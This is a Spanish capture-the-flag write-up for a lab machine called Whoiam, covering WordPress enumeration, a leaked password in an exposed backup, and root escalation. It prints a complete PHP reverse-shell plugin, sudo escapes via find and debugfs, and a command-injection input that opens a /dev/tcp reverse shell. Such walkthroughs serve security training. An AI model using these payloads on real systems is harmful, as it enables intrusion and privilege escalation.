> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/whoiam-write-up.md).

# Whoiam write-up

## **Verificamos la conexión con la máquina víctima**

<figure><img src="/files/r8inG6OmIO4xlIe9pvMn" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de los puertos abiertos de la máquina víctima**

Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
 sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.18.0.2
```

<figure><img src="/files/wE4hE99PKZa8zT30IVJs" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 80 (HTTP) está abierto, así que ingresamos la IP de la máquina víctima en el navegador y vemos lo siguiente:

<figure><img src="/files/3wIkPdiLHeicUSmtv6ok" alt=""><figcaption></figcaption></figure>

Si nos vamos al código fuente vemos que se podría estar usando **WordPress**, así que ingresamos la ruta `172.18.0.2/wp-admin` para ver si efectivamente se está usando **Wordpress**.

<figure><img src="/files/19qYtge5g4dnXGlrOKLR" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cUQsHZnYTKIbHKn0xuE4" alt=""><figcaption></figcaption></figure>

Vemos que efectivamente se está usando **Wordpress**, así que vamos a usar la herramienta **wpscan** para obtener información, como por ejemplo enumerar los temas, los plugins y los usuarios. Así que vamos a ejecutar el siguiente comando:

```bash
wpscan --url http://172.18.0.2/ --enumerate u,p
```

<figure><img src="/files/dbwHwnvEaOEG2dximXqp" alt=""><figcaption></figcaption></figure>

Esto indica que los usuarios "erik" y "developer" existen. Sin embargo, al intentar un ataque de fuerza bruta no tuvo éxito. Por ello, realizaremos fuzzing web con **dirb** para encontrar rutas ocultas con el siguiente comando:

```bash
dirb http://172.18.0.2/
```

<figure><img src="/files/q2umjtso4zUKX65EHH6K" alt=""><figcaption></figcaption></figure>

Y vemos que existe un directorio llamado `http://172.18.0.2/backups/`, así que vamos a ingresar esa ruta en el navegador y observamos lo siguiente:

<figure><img src="/files/7t59fLl1y9mXHOEUBKsh" alt=""><figcaption></figcaption></figure>

Vemos que hay una copia de seguridad de la base de datos, así que nos la descargamos y dentro del archivo .zip encontramos un archivo de texto con lo siguiente:

<figure><img src="/files/QL88FWD8jvsYNHz1yfvS" alt=""><figcaption></figcaption></figure>

Vemos que la contraseña del usuario `developer` es `2wmy3KrGDRD%RsA7Ty5n71L^`. Así que probamos a iniciar sesión en `172.18.0.2/wp-admin`.

<figure><img src="/files/W0bkSqV6Wnorw8KfJ0S3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/UGuCuaY2RFBcYvJ5AwJj" alt=""><figcaption></figcaption></figure>

Vemos que efectivamente nos deja iniciar sesión como el usuario `developer`, así que ahora vamos a crear un plugin malicioso que nos envíe una shell interactiva y la instalaremos. Primero vamos a crear un archivo PHP que contenga lo siguiente:

```php
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.18.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>           
```

Después vamos a ejecutar el siguiente comando para comprimirlo en formato ZIP con el siguiente comando:

```bash
zip -r shell.zip shell.php 
```

Ahora vamos a instalarlo yendo al apartado de plugins y después haciendo clic en `Add new plugin`. Después hacemos clic en `Upload Plugin` y subimos el archivo `shell.zip` que hemos creado y hacemos clic en `Install now`.

<figure><img src="/files/buYwI9hT3d84pcwJqiZD" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/i7HzxG8yYAeuOf5FxhTw" alt=""><figcaption></figcaption></figure>

Ahora hacemos clic en `Activate plugin` y nos ponemos en escucha con netcat por el puerto ingresado.

```bash
sudo nc -nlvvp 444
```

Ahora ingresamos la ruta `172.18.0.2/wp-content/plugins/shell/shell.php` en el navegador y obtendremos una shell interactiva.

<figure><img src="/files/GtAhoTXGdF46wGubxbcw" alt=""><figcaption></figcaption></figure>

Y ya estaríamos dentro de la máquina víctima.

## **Escalada de privilegios**

Una vez estamos dentro de la máquina víctima, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/find` como el usuario `rafa` sin necesidad de contraseña. Así que vamos a ejecutar el siguiente comando para obtener un shell como el usuario rafa:

```bash
sudo -u rafa /usr/bin/find . -exec /bin/bash -p \; -quit 
```

<figure><img src="/files/VKLE5PI2BQQrFojl8vkJ" alt=""><figcaption></figcaption></figure>

Una vez somos el usuario rafa, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/sbin/debugfs` como el usuario `ruben` sin necesidad de contraseña. Así que vamos a ejecutar el siguiente comando:

```bash
sudo -u ruben /usr/sbin/debugfs
```

Y después ejecutamos:

```bash
!/bin/bash
```

<figure><img src="/files/J6FK8LQkT92HIPsvE0dP" alt=""><figcaption></figcaption></figure>

Una vez somos el usuario `ruben`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el script `/bin/bash /opt/penguin.sh` como el usuario root sin necesidad de contraseña.

<figure><img src="/files/G7IrxtAqfQxEOkCu2Bk6" alt=""><figcaption></figcaption></figure>

Si vemos el contenido del script, vemos que nos pide ingresar un número, como no se esta sanizando correctamente podemos ejecutar el script como usuario root y nos vamos a poner en escucha por el puerto `4445`.

```bash
sudo nc -nlvvp 4445
```

<figure><img src="/files/4fCk3fOLfgRiJc6JRvZ1" alt=""><figcaption></figcaption></figure>

Y donde nos pide ingresar el número ingresamos lo siguiente para enviarnos una shell reversa:

```bash
a[$(bash -i >& /dev/tcp/172.18.0.1/4445 0>&1)]    
```

<figure><img src="/files/DVc79SkK2675ME1hXmic" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fi5DHvAOVYPX6MkcHDar" alt=""><figcaption></figcaption></figure>

Y habríamos obtenido una shell con privilegios elevados.
